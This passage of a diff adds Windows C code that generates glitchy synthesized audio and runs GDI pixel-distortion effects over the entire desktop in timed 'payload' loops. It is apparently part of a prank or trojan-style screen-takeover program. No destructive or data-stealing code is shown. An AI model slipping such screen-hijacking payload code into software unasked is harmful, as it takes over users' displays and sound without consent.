+ }
334
+
335
+ VOID
336
+ WINAPI
337
+ AudioSequence13(
338
+ _In_ INT nSamplesPerSec,
339
+ _In_ INT nSampleCount,
340
+ _Inout_ PSHORT psSamples
341
+ )
342
+ {
343
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
344
+
345
+ for (INT t = 0; t < nSampleCount; t++)
346
+ {
347
+ psSamples[t] = (SHORT)(SawtoothWave(__rdtsc() % 1500, 1500, nSampleCount) * (FLOAT)SHRT_MAX * .3f) ^
348
+ ((SHORT)(SawtoothWave(t % 10, t % 1000, nSampleCount) * (FLOAT)SHRT_MAX * .1f) >> 8);
349
+ }
350
+ }
351
+
352
+ VOID
353
+ WINAPI
354
+ AudioSequence14(
355
+ _In_ INT nSamplesPerSec,
356
+ _In_ INT nSampleCount,
357
+ _Inout_ PSHORT psSamples
358
+ )
359
+ {
360
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
361
+
362
+ INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
363
+ for (INT y = 0; y < nSquareRoot; y++)
364
+ {
365
+ for (INT x = 0; x < nSquareRoot; x++)
366
+ {
367
+ INT nIndex = y * nSquareRoot + x;
368
+ if (nIndex >= nSampleCount)
369
+ continue;
370
+
371
+ INT nFreq = (INT)((FLOAT)(y | x) * FastCosine((FLOAT)(y & x) / 10.f));
372
+ psSamples[nIndex] = (SHORT)(SineWave(y + x, (nFreq % 100) + 1000, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
373
+ }
374
+ }
375
+ }
376
+
377
+ VOID
378
+ WINAPI
379
+ AudioSequence15(
380
+ _In_ INT nSamplesPerSec,
381
+ _In_ INT nSampleCount,
382
+ _Inout_ PSHORT psSamples
383
+ )
384
+ {
385
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
386
+
387
+ INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
388
+ for (INT y = 0; y < nSquareRoot; y++)
389
+ {
390
+ for (INT x = 0; x < nSquareRoot; x++)
391
+ {
392
+ INT nIndex = y * nSquareRoot + x;
393
+ if (nIndex >= nSampleCount)
394
+ continue;
395
+
396
+ INT nFreq = (INT)((FLOAT)(y - x) * FastCosine((FLOAT)(y * x) / 10.f));
397
+ psSamples[nIndex] = (SHORT)(SineWave(y % (x + 1), (nFreq % 100) + 100, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
398
+ }
399
+ }
400
+ }
401
+
402
+ VOID
403
+ WINAPI
404
+ AudioSequence16(
405
+ _In_ INT nSamplesPerSec,
406
+ _In_ INT nSampleCount,
407
+ _Inout_ PSHORT psSamples
408
+ )
409
+ {
410
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
411
+
412
+ INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
413
+ for (INT y = 0; y < nSquareRoot; y++)
414
+ {
415
+ for (INT x = 0; x < nSquareRoot; x++)
416
+ {
417
+ INT nIndex = y * nSquareRoot + x;
418
+ if (nIndex >= nSampleCount)
419
+ continue;
420
+
421
+ INT nFreq = (INT)((FLOAT)(y ^ x) * exp(cosh(atanf((FLOAT)(y | x)) / 10.f)) * 2.f);
422
+ psSamples[nIndex] = (SHORT)(SineWave(y - (x % (y + 1)), (nFreq % 100) + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
423
+ }
424
+ }
425
+ }
426
+
427
+ VOID
428
+ WINAPI
429
+ AudioSequence17(
430
+ _In_ INT nSamplesPerSec,
431
+ _In_ INT nSampleCount,
432
+ _Inout_ PSHORT psSamples
433
+ )
434
+ {
435
+ for (INT t = 0; t < nSampleCount; t++)
436
+ {
437
+ INT nFreq = (INT)(FastSine((FLOAT)t / 20.f) * 100.f + 50.f);
438
+ FLOAT fSine = FastSine((FLOAT)t / 13.f) * (FLOAT)nSamplesPerSec;
439
+ psSamples[t] = (SHORT)(TriangleWave(t, nFreq, (FLOAT)nSamplesPerSec * 9.f + fSine) * (FLOAT)SHRT_MAX * .50f) +
440
+ (SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .10f);
441
+ }
442
+ }
443
+
444
+
445
+ VOID
446
+ WINAPI
447
+ AudioSequence18(
448
+ _In_ INT nSamplesPerSec,
449
+ _In_ INT nSampleCount,
450
+ _Inout_ PSHORT psSamples
451
+ )
452
+ {
453
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
454
+
455
+ INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
456
+ for (INT y = 0; y < nSquareRoot; y++)
457
+ {
458
+ for (INT x = 0; x < nSquareRoot; x++)
459
+ {
460
+ INT nIndex = y * nSquareRoot + x;
461
+ if (nIndex >= nSampleCount)
462
+ continue;
463
+
464
+ INT nFreq = (INT)((FLOAT)(y ^ x) * exp(cosh(atanf((FLOAT)(y | x)) / 10.f)) * 2.f);
465
+ psSamples[nIndex] = (SHORT)(SineWave(y - (x % (y + 1)), (nFreq % 10) + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .6f);
466
+ }
467
+ }
468
+ }
469
+
470
+ VOID
471
+ WINAPI
472
+ FinalAudioSequence(
473
+ _In_ INT nSamplesPerSec,
474
+ _In_ INT nSampleCount,
475
+ _Inout_ PSHORT psSamples
476
+ )
477
+ {
478
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
479
+
480
+ INT nCubeRoot = (INT)cbrtf((FLOAT)nSampleCount) + 1;
481
+ for (INT z = 0; z < nCubeRoot; z++)
482
+ {
483
+ for (INT y = 0; y < nCubeRoot; y++)
484
+ {
485
+ for (INT x = 0; x < nCubeRoot; x++)
486
+ {
487
+ INT nIndex = z * nCubeRoot * nCubeRoot + y * nCubeRoot + x;
488
+ if (nIndex >= nSampleCount)
489
+ continue;
490
+
491
+ INT nFreq = (INT)((FLOAT)(y & x) * sinf((FLOAT)z / (FLOAT)nCubeRoot + (FLOAT)x + (FLOAT)nCounter * (FLOAT)y) * 2.f);
492
+ psSamples[nIndex] = (SHORT)(SquareWave(nIndex, nFreq, nSamplesPerSec) * (FLOAT)(SHRT_MAX) * .3f);
493
+ }
494
+ }
495
+ }
496
+ }
497
+
498
+ VOID
499
+ WINAPI
500
+ GdiShaderThread(
501
+ _In_ PGDISHADER_PARAMS pGdiShaderParams
502
+ )
503
+ {
504
+ if (pGdiShaderParams->pGdiShader == GdiShader3)
505
+ {
506
+ nShaderThreeSeed = Xorshift32();
507
+ }
508
+
509
+ ExecuteGdiShader(hdcDesktop, rcScrBounds, PAYLOAD_TIME, 5, pGdiShaderParams->pGdiShader,
510
+ pGdiShaderParams->pPreGdiShader, pGdiShaderParams->pPostGdiShader);
511
+ }
512
+
513
+ VOID
514
+ WINAPI
515
+ ExecuteGdiShader(
516
+ _In_ HDC hdcDst,
517
+ _In_ RECT rcBounds,
518
+ _In_ INT nTime,
519
+ _In_ INT nDelay,
520
+ _In_ GDI_SHADER pGdiShader,
521
+ _In_opt_ GDI_SHADER_OPERATION pPreGdiShader,
522
+ _In_opt_ GDI_SHADER_OPERATION pPostGdiShader
523
+ )
524
+ {
525
+ BITMAPINFO bmi = { 0 };
526
+ PRGBQUAD prgbSrc, prgbDst;
527
+ HANDLE hHeap;
528
+ HDC hdcTemp;
529
+ HBITMAP hbmTemp;
530
+ SIZE_T nSize;
531
+ INT nWidth;
532
+ INT nHeight;
533
+
534
+ nWidth = rcBounds.right - rcBounds.left;
535
+ nHeight = rcBounds.bottom - rcBounds.top;
536
+ nSize = nWidth * nHeight * sizeof(COLORREF);
537
+
538
+ bmi.bmiHeader.biSize = sizeof(BITMAPINFO);
539
+ bmi.bmiHeader.biBitCount = 32;
540
+ bmi.bmiHeader.biPlanes = 1;
541
+ bmi.bmiHeader.biWidth = nWidth;
542
+ bmi.bmiHeader.biHeight = nHeight;
543
+
544
+ hHeap = GetProcessHeap();
545
+ prgbSrc = (PRGBQUAD)HeapAlloc(hHeap, 0, nSize);
546
+
547
+ hdcTemp = CreateCompatibleDC(hdcDst);
548
+ hbmTemp = CreateDIBSection(hdcDst, &bmi, 0, &prgbDst, NULL, 0);
549
+ SelectObject(hdcTemp, hbmTemp);
550
+
551
+ for (INT i = 0, j = nCounter; (j + nTime) > nCounter; i++)
552
+ {
553
+ if (pPreGdiShader == NULL)
554
+ {
555
+ BitBlt(hdcTemp, 0, 0, nWidth, nHeight, hdcDst, rcBounds.left, rcBounds.top, SRCCOPY);
556
+ }
557
+ else
558
+ {
559
+ pPreGdiShader(i, nWidth, nHeight, rcBounds, hdcDst, hdcTemp);
560
+ }
561
+
562
+ RtlCopyMemory(prgbSrc, prgbDst, nSize);
563
+
564
+ pGdiShader(i, nWidth, nHeight, hdcDst, hbmTemp, prgbSrc, prgbDst);
565
+
566
+ if (pPostGdiShader == NULL)
567
+ {
568
+ BitBlt(hdcDst, rcBounds.left, rcBounds.top, nWidth, nHeight, hdcTemp, 0, 0, SRCCOPY);
569
+ }
570
+ else
571
+ {
572
+ pPostGdiShader(i, nWidth, nHeight, rcBounds, hdcDst, hdcTemp);
573
+ }
574
+
575
+ if (nDelay)
576
+ {
577
+ Sleep(nDelay);
578
+ }
579
+ }
580
+
581
+ HeapFree(hHeap, 0, prgbSrc);
582
+ DeleteObject(hbmTemp);
583
+ DeleteDC(hdcTemp);
584
+ }
585
+
586
+ VOID
587
+ WINAPI
588
+ GdiShader1(
589
+ _In_ INT t,
590
+ _In_ INT w,
591
+ _In_ INT h,
592
+ _In_ HDC hdcTemp,
593
+ _In_ HBITMAP hbmTemp,
594
+ _In_ PRGBQUAD prgbSrc,
595
+ _Inout_ PRGBQUAD prgbDst
596
+ )
597
+ {
598
+ UNREFERENCED_PARAMETER(hdcTemp);
599
+ UNREFERENCED_PARAMETER(hbmTemp);
600
+
601
+ UINT u;
602
+ UINT v;
603
+ FLOAT div = (FLOAT)t / 1.f;
604
+ FLOAT a = FastSine(div) * 10.f;
605
+ FLOAT b = FastCosine(div) * 5.f;
606
+ RGBQUAD rgbDst;
607
+
608
+ for (INT y = 0; y < h; y++)
609
+ {
610
+ for (INT x = 0; x < w; x++)
611
+ {
612
+ u = x + (INT)a, v = y + (INT)b;
613
+ u %= w;
614
+ v %= h;
615
+
616
+ rgbDst = prgbSrc[v * w + u];
617
+ rgbDst.r += ~prgbSrc[y * w + x].r / 82;
618
+ rgbDst.g += ~prgbSrc[y * w + x].g / 12;
619
+ rgbDst.b += ~prgbSrc[y * w + x].b / 22;
620
+ prgbDst[y * w + x] = rgbDst;
621
+ }
622
+ }
623
+ }
624
+
625
+ VOID
626
+ WINAPI
627
+ PostGdiShader1(
628
+ _In_ INT t,
629
+ _In_ INT w,
630
+ _In_ INT h,
631
+ _In_ RECT rcBounds,
632
+ _In_ HDC hdcDst,
633
+ _In_ HDC hdcTemp
634
+ )
635
+ {
636
+ if (!(t % 256))
637
+ {
638
+ RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
639
+ }
640
+ else
641
+ {
642
+ BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
643
+ }
644
+ }
645
+
646
+ VOID
647
+ WINAPI
648
+ GdiShader2(
649
+ _In_ INT t,
650
+ _In_ INT w,
651
+ _In_ INT h,
652
+ _In_ HDC hdcTemp,
653
+ _In_ HBITMAP hbmTemp,
654
+ _In_ PRGBQUAD prgbSrc,
655
+ _Inout_ PRGBQUAD prgbDst
656
+ )
657
+ {
658
+ UNREFERENCED_PARAMETER(hdcTemp);
659
+ UNREFERENCED_PARAMETER(hbmTemp);
660
+
661
+ UINT u;
662
+ UINT v;
663
+ RGBQUAD rgbDst;
664
+
665
+ for (INT y = 0; y < h; y++)
666
+ {
667
+ FLOAT _y = (FLOAT)y / 40.f;
668
+
669
+ for (INT x = 0; x < w; x++)
670
+ {
671
+ FLOAT div = (FLOAT)t / 2.f;
672
+ FLOAT a = FastSine(div + _y) * 50.f;
673
+ FLOAT b = FastCosine(div + (FLOAT)x / 10.f) * 80.f;
674
+
675
+ u = x + (INT)a, v = y + (INT)b;
676
+ u %= w;
677
+ v %= h;
678
+
679
+ rgbDst = prgbSrc[y * w + u];
680
+
681
+ DWORD rgb = prgbSrc[v * w + x].rgb / ((0x101010 | (t & y) | ((t & x) << 8) | (t << 26)) + 1);
682
+ if (!rgb)
683
+ {
684
+ rgb = 1;
685
+ }
686
+
687
+ rgbDst.rgb /= rgb;
688
+ if (!rgbDst.rgb)
689
+ {
690
+ rgbDst.rgb = 0xFFFFFF;
691
+ }
692
+
693
+ prgbDst[y * w + x] = rgbDst;
694
+ }
695
+ }
696
+ }
697
+
698
+ VOID
699
+ WINAPI
700
+ PostGdiShader2(
701
+ _In_ INT t,
702
+ _In_ INT w,
703
+ _In_ INT h,
704
+ _In_ RECT rcBounds,
705
+ _In_ HDC hdcDst,
706
+ _In_ HDC hdcTemp
707
+ )
708
+ {
709
+ if (!(t % 16))
710
+ {
711
+ RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
712
+ }
713
+ else
714
+ {
715
+ BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
716
+ }
717
+ }
718
+
719
+ VOID
720
+ WINAPI
721
+ GdiShader3(
722
+ _In_ INT t,
723
+ _In_ INT w,
724
+ _In_ INT h,
725
+ _In_ HDC hdcTemp,
726
+ _In_ HBITMAP hbmTemp,
727
+ _In_ PRGBQUAD prgbSrc,
728
+ _Inout_ PRGBQUAD prgbDst
729
+ )
730
+ {
731
+ UNREFERENCED_PARAMETER(hdcTemp);
732
+ UNREFERENCED_PARAMETER(hbmTemp);
733
+
734
+ UINT u;
735
+ UINT v;
736
+ RGBQUAD rgbDst;
737
+ HSLCOLOR hsl;
738
+ FLOAT _t = (FLOAT)t / 15.f;
739
+
740
+ for (INT y = 0; y < h; y++)
741
+ {
742
+ FLOAT _y = (FLOAT)y / 45.f;
743
+
744
+ for (INT x = 0; x < w; x++)
745
+ {
746
+ FLOAT a = FastCosine(_y + _t) * 36.f;
747
+
748
+ u = x + (INT)a, v = y;
749
+ u %= w;
750
+ v %= h;
751
+
752
+ rgbDst = prgbSrc[v * w + u];
753
+ FLOAT f = 1.f / 2.f;
754
+ FLOAT r = (FLOAT)prgbSrc[y * w + x].r * f + (FLOAT)rgbDst.r * (1.f - f);
755
+ FLOAT g = (FLOAT)prgbSrc[y * w + x].g * f + (FLOAT)rgbDst.g * (1.f - f);
756
+ FLOAT b = (FLOAT)prgbSrc[y * w + x].b * f + (FLOAT)rgbDst.b * (1.f - f);
757
+
758
+ rgbDst.rgb = ((BYTE)b | ((BYTE)g << 8) | ((BYTE)r << 11));
759
+ hsl = RGBToHSL(rgbDst);
760
+ hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + 1.0 / 15.0 + ((FLOAT)x + (FLOAT)y) / (((FLOAT)w + (FLOAT)h) * 34.f), 1.0);
761
+ prgbDst[y * w + x] = HSLToRGB(hsl);
762
+ }
763
+ }
764
+ }
765
+
766
+ VOID
767
+ WINAPI
768
+ PostGdiShader3(
769
+ _In_ INT t,
770
+ _In_ INT w,
771
+ _In_ INT h,
772
+ _In_ RECT rcBounds,
773
+ _In_ HDC hdcDst,
774
+ _In_ HDC hdcTemp
775
+ )
776
+ {
777
+ INT x, y;
778
+ HPEN hpenBall;
779
+
780
+ BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
781
+
782
+ t += nShaderThreeSeed;
783
+ x = t * 16;
784
+ y = t * 16;
785
+
786
+ for (INT i = 64; i > 8; i -= 8)
787
+ {
788
+ hpenBall = CreatePen(PS_SOLID, 2, rand() % 0xFFFFFF);
789
+
790
+ SelectObject(hdcDst, hpenBall);
791
+ Reflect2D(&x, &y, w, h);
792
+ Ellipse(hdcDst, x + rcBounds.left - i, y + rcBounds.top - i, x + rcBounds.left + i, y + rcBounds.top + i);
793
+ DeleteObject(hpenBall);
794
+ }
795
+ }
796
+
797
+ VOID
798
+ WINAPI
799
+ GdiShader4(
800
+ _In_ INT t,
801
+ _In_ INT w,
802
+ _In_ INT h,
803
+ _In_ HDC hdcTemp,
804
+ _In_ HBITMAP hbmTemp,
805
+ _In_ PRGBQUAD prgbSrc,
806
+ _Inout_ PRGBQUAD prgbDst
807
+ )
808
+ {
809
+ UNREFERENCED_PARAMETER(hdcTemp);
810
+ UNREFERENCED_PARAMETER(hbmTemp);
811
+
812
+ UINT u;
813
+ UINT v;
814
+ RGBQUAD rgbDst;
815
+ RGBQUAD rgbSrc;
816
+ FLOAT _t = (FLOAT)t / 540.f;
817
+ FLOAT a = (FLOAT)t / 39.f;
818
+ FLOAT b = FastSine(a) * _t;
819
+ FLOAT c = FastCosine(a) * _t;
820
+ FLOAT centerX = (FLOAT)w / 50;
821
+ FLOAT centerY = (FLOAT)h / 100;
822
+
823
+ while (b < 5.f)
824
+ {
825
+ b += PI * 3.f;
826
+ }
827
+
828
+ while (c < 4.f)
829
+ {
830
+ c += PI * 4.f;
831
+ }
832
+
833
+ for (INT y = 0; y < h; y++)
834
+ {
835
+ for (INT x = 0; x < w; x++)
836
+ {
837
+ u = (UINT)((x - centerX) * FastCosine(b) - (y - centerY) * FastSine(c) + centerX);
838
+ v = (UINT)((x - centerX) * FastSine(c) + (y - centerY) * FastCosine(b) + centerY);
839
+
840
+ Reflect2D((PINT)&u, (PINT)&v, w, h);
841
+
842
+ rgbDst = prgbSrc[v * w + u];
843
+ rgbSrc = prgbSrc[y * w + x];
844
+ rgbDst.rgb ^= rgbSrc.rgb;
845
+
846
+ if ((t / 21) % 2)
847
+ {
848
+ rgbDst.rgb = ~rgbDst.rgb;
849
+ }
850
+
851
+ prgbDst[y * w + x] = rgbDst;
852
+ }
853
+ }
854
+ }
855
+
856
+ VOID
857
+ WINAPI
858
+ GdiShader5(
859
+ _In_ INT t,
860
+ _In_ INT w,
861
+ _In_ INT h,
862
+ _In_ HDC hdcTemp,
863
+ _In_ HBITMAP hbmTemp,
864
+ _In_ PRGBQUAD prgbSrc,
865
+ _Inout_ PRGBQUAD prgbDst
866
+ )
867
+ {
868
+ UNREFERENCED_PARAMETER(hdcTemp);
869
+ UNREFERENCED_PARAMETER(hbmTemp);
870
+
871
+ UINT u;
872
+ UINT v;
873
+ RGBQUAD rgbDst;
874
+ RGBQUAD rgbSrc;
875
+
876
+ for (INT y = 0; y < h; y++)
877
+ {
878
+ for (INT x = 0; x < w; x++)
879
+ {
880
+ INT a = 5000;
881
+ INT b = 5000;
882
+
883
+ u = ~((a + t) & y);
884
+ v = ~((b + t) & x);
885
+
886
+ u %= w;
887
+ v %= h;
888
+
889
+ rgbDst = prgbSrc[v * w + u];
890
+ rgbSrc = prgbSrc[y * w + x];
891
+ rgbDst.rgb ^= rgbSrc.rgb;
892
+
893
+ prgbDst[y * w + x] = rgbDst;
894
+ }
895
+ }
896
+ }
897
+
898
+ VOID
899
+ WINAPI
900
+ PostGdiShader4(
901
+ _In_ INT t,
902
+ _In_ INT w,
903
+ _In_ INT h,
904
+ _In_ RECT rcBounds,
905
+ _In_ HDC hdcDst,
906
+ _In_ HDC hdcTemp
907
+ )
908
+ {
909
+ UNREFERENCED_PARAMETER(hdcDst);
910
+ UNREFERENCED_PARAMETER(hdcTemp);
911
+
912
+ BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
913
+
914
+ if (!(t % 8))
915
+ {
916
+ RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
917
+ }
918
+ }
919
+
920
+ VOID
921
+ WINAPI
922
+ GdiShader6(
923
+ _In_ INT t,
924
+ _In_ INT w,
925
+ _In_ INT h,
926
+ _In_ HDC hdcTemp,
927
+ _In_ HBITMAP hbmTemp,
928
+ _In_ PRGBQUAD prgbSrc,
929
+ _Inout_ PRGBQUAD prgbDst
930
+ )
931
+ {
932
+ UNREFERENCED_PARAMETER(hdcTemp);
933
+ UNREFERENCED_PARAMETER(hbmTemp);
934
+
935
+ UINT u;
936
+ UINT v;
937
+ FLOAT div = (FLOAT)t / 24.f;
938
+ FLOAT a = FastCosine(div) * 2.f * PI;
939
+ BOOL bShiftDir = (BOOL)(Xorshift32() & 1);
940
+ BYTE bChannels = (BYTE)(Xorshift32() & 9);
941
+ RGBQUAD rgbSrc;
942
+ RGBQUAD rgbDst;
943
+
944
+ for (INT y = 0; y < h; y++)
945
+ {
946
+ for (INT x = 0; x < w; x++)
947
+ {
948
+ FLOAT b = (FLOAT)(x + y + t * 12) / 16.f;
949
+ FLOAT c = FastSine(a + b) * 68.f;
950
+
951
+ u = x + (INT)a, v = y + (INT)c;
952
+ Reflect2D((PINT)&u, (PINT)&v, w, h);
953
+
954
+ rgbDst = prgbSrc[v * w + x];
955
+
956
+ if (bShiftDir)
957
+ {
958
+ rgbDst.rgb <<= 1;
959
+ }
960
+ else
961
+ {
962
+ rgbDst.rgb >>= 1;
963
+ }
964
+
965
+ rgbSrc = prgbSrc[v * w + x];
966
+ rgbDst.rgb ^= rgbSrc.rgb;
967
+
968
+ if (bChannels & 0b001)
969
+ {
970
+ rgbDst.b |= rgbSrc.b;
971
+ }
972
+
973
+ if (bChannels & 0b010)
974
+ {
975
+ rgbDst.g |= rgbSrc.g;
976
+ }
977
+
978
+ if (bChannels & 0b100)
979
+ {
980
+ rgbDst.r |= rgbSrc.r;
981
+ }
982
+
983
+ prgbDst[y * w + u] = rgbDst;
984
+ }
985
+ }
986
+ }
987
+
988
+ VOID
989
+ WINAPI
990
+ GdiShader7(
991
+ _In_ INT t,
992
+ _In_ INT w,
993
+ _In_ INT h,
994
+ _In_ HDC hdcTemp,
995
+ _In_ HBITMAP hbmTemp,
996
+ _In_ PRGBQUAD prgbSrc,
997
+ _Inout_ PRGBQUAD prgbDst
998
+ )
999
+ {
1000
+ UNREFERENCED_PARAMETER(hdcTemp);
1001
+ UNREFERENCED_PARAMETER(hbmTemp);
1002
+
1003
+ UINT u;
1004
+ UINT v;
1005
+ RGBQUAD rgbDst;
1006
+ RGBQUAD rgbSrc;
1007
+ BOOL bOperation = (BOOL)(Xorshift32() % 21);
1008
+
1009
+ for (INT y = 0; y < h; y++)
1010
+ {
1011
+ for (INT x = 0; x < w; x++)
1012
+ {
1013
+ u = (x + t * 284) ^ (y + t * y) ^ t;
1014
+ v = (x + t * 128) + (y + t * y) ^ t;
1015
+
1016
+ u %= w;
1017
+ v %= h;
1018
+
1019
+ rgbDst = prgbSrc[v * w + u];
1020
+ rgbSrc = prgbSrc[y * w + x];
1021
+
1022
+ if (bOperation)
1023
+ {
1024
+ rgbDst.rgb |= rgbSrc.rgb;
1025
+ }
1026
+ else
1027
+ {
1028
+ rgbDst.rgb &= rgbSrc.rgb;
1029
+ }
1030
+
1031
+ prgbDst[y * w + x] = rgbDst;
1032
+ }
1033
+ }
1034
+ }
1035
+
1036
+ VOID
1037
+ WINAPI
1038
+ PostGdiShader5(
1039
+ _In_ INT t,
1040
+ _In_ INT w,
1041
+ _In_ INT h,
1042
+ _In_ RECT rcBounds,
1043
+ _In_ HDC hdcDst,
1044
+ _In_ HDC hdcTemp
1045
+ )
1046
+ {
1047
+ if (!(t % 4))
1048
+ {
1049
+ RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
1050
+ }
1051
+ else
1052
+ {
1053
+ BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, NOTSRCCOPY);
1054
+ }
1055
+ }
1056
+
1057
+ VOID
1058
+ WINAPI
1059
+ PreGdiShader1(
1060
+ _In_ INT t,
1061
+ _In_ INT w,
1062
+ _In_ INT h,
1063
+ _In_ RECT rcBounds,
1064
+ _In_ HDC hdcDst,
1065
+ _In_ HDC hdcTemp
1066
+ )
1067
+ {
1068
+ UNREFERENCED_PARAMETER(t);
1069
+
1070
+ BitBlt(hdcTemp, 0, 0, w, h, hdcDst, rcBounds.left, rcBounds.top, SRCCOPY);
1071
+
1072
+ for (INT i = 0; i < 5; i++)
1073
+ {
1074
+ INT nBlockSize = Xorshift32() % 19 + 12 + 2;
1075
+ INT nNewBlockSize = nBlockSize + (Xorshift32() % 17 + 9 + 16 + 2);
1076
+ INT x = Xorshift32() % (w - nBlockSize);
1077
+ INT y = Xorshift32() % (h - nBlockSize);
1078
+
1079
+ StretchBlt(hdcTemp, x - (nNewBlockSize - nBlockSize) / 2, y - (nNewBlockSize - nBlockSize) / 2,
1080
+ nNewBlockSize, nNewBlockSize, hdcTemp, x, y, nBlockSize, nBlockSize, SRCCOPY);
1081
+ }
1082
+ }
1083
+
1084
+ VOID
1085
+ WINAPI
1086
+ GdiShader8(
1087
+ _In_ INT t,
1088
+ _In_ INT w,
1089
+ _In_ INT h,
1090
+ _In_ HDC hdcTemp,
1091
+ _In_ HBITMAP hbmTemp,
1092
+ _In_ PRGBQUAD prgbSrc,
1093
+ _Inout_ PRGBQUAD prgbDst
1094
+ )
1095
+ {
1096
+ UNREFERENCED_PARAMETER(hdcTemp);
1097
+ UNREFERENCED_PARAMETER(hbmTemp);
1098
+
1099
+ UINT u;
1100
+ UINT v;
1101
+ FLOAT div = (FLOAT)t / 1.f;
1102
+ FLOAT a = FastSine(div) * 2.f;
1103
+ FLOAT b = FastCosine(div) * 2.f;
1104
+ FLOAT f = 1.f / 4.f;
1105
+ RGBQUAD rgbDst;
1106
+ RGBQUAD rgbSrc;
1107
+ HSLCOLOR hsl;
1108
+
1109
+ for (INT y = 0; y < h; y++)
1110
+ {
1111
+ for (INT x = 0; x < w; x++)
1112
+ {
1113
+ u = x + (INT)a + (INT)(TriangleWave(y, t, h) * 8.f);
1114
+ v = y + (INT)b;
1115
+
1116
+ Reflect2D((PINT)&u, (PINT)&v, w, h);
1117
+
1118
+ rgbDst = prgbSrc[v * w + u];
1119
+ rgbSrc = prgbSrc[y * w + x];
1120
+
1121
+ if (!rgbSrc.rgb)
1122
+ {
1123
+ rgbSrc.rgb = 1;
1124
+ }
1125
+
1126
+ rgbDst.rgb &= rgbDst.rgb % ((rgbSrc.rgb << 18) + 1);
1127
+ FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (3.f - f);
1128
+ FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (14.f - f);
1129
+ FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (10.f - f);
1130
+ rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 2));
1131
+
1132
+ hsl = RGBToHSL(rgbDst);
1133
+ hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + (DOUBLE)(x + y) / 100000.0 + 0.05, 1.0);
1134
+ hsl.s = 1.f;
1135
+
1136
+ if (hsl.l < .3f)
1137
+ {
1138
+ hsl.l += .2f;
1139
+ }
1140
+
1141
+ rgbDst = HSLToRGB(hsl);
1142
+ prgbDst[y * w + x] = rgbDst;
1143
+ }
1144
+ }
1145
+ }
1146
+
1147
+ VOID
1148
+ WINAPI
1149
+ PostGdiShader6(
1150
+ _In_ INT t,
1151
+ _In_ INT w,
1152
+ _In_ INT h,
1153
+ _In_ RECT rcBounds,
1154
+ _In_ HDC hdcDst,
1155
+ _In_ HDC hdcTemp
1156
+ )
1157
+ {
1158
+ if (!(t % 32))
1159
+ {
1160
+ RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
1161
+ }
1162
+ else
1163
+ {
1164
+ BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
1165
+ }
1166
+ }
1167
+
1168
+ VOID
1169
+ WINAPI
1170
+ GdiShader9(
1171
+ _In_ INT t,
1172
+ _In_ INT w,
1173
+ _In_ INT h,
1174
+ _In_ HDC hdcTemp,
1175
+ _In_ HBITMAP hbmTemp,
1176
+ _In_ PRGBQUAD prgbSrc,
1177
+ _Inout_ PRGBQUAD prgbDst
1178
+ )
1179
+ {
1180
+ UNREFERENCED_PARAMETER(hdcTemp);
1181
+ UNREFERENCED_PARAMETER(hbmTemp);
1182
+
1183
+ UINT u;
1184
+ UINT v;
1185
+ FLOAT div = (FLOAT)t / 15.f;
1186
+ FLOAT a = FastSine(div) * 4.f;
1187
+ FLOAT b = FastCosine(div) * 2.f;
1188
+ FLOAT f = 1.f / 3.f;
1189
+ RGBQUAD rgbDst;
1190
+ RGBQUAD rgbSrc;
1191
+ HSLCOLOR hsl;
1192
+
1193
+ for (INT y = 0; y < h; y++)
1194
+ {
1195
+ for (INT x = 0; x < w; x++)
1196
+ {
1197
+ u = x + (INT)a + (INT)(SawtoothWave(y, t, h) * 18.f);
1198
+ v = y + (INT)b;
1199
+
1200
+ Reflect2D((PINT)&u, (PINT)&v, w, h);
1201
+
1202
+ rgbDst = prgbSrc[v * w + u];
1203
+ rgbSrc = prgbSrc[y * w + x];
1204
+
1205
+ if (!rgbSrc.rgb)
1206
+ {
1207
+ rgbSrc.rgb = 1;
1208
+ }
1209
+
1210
+ rgbDst.rgb &= rgbDst.rgb % ((rgbSrc.rgb << 8) + 1);
1211
+ FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (4.f - f);
1212
+ FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (6.f - f);
1213
+ FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (7.f - f);
1214
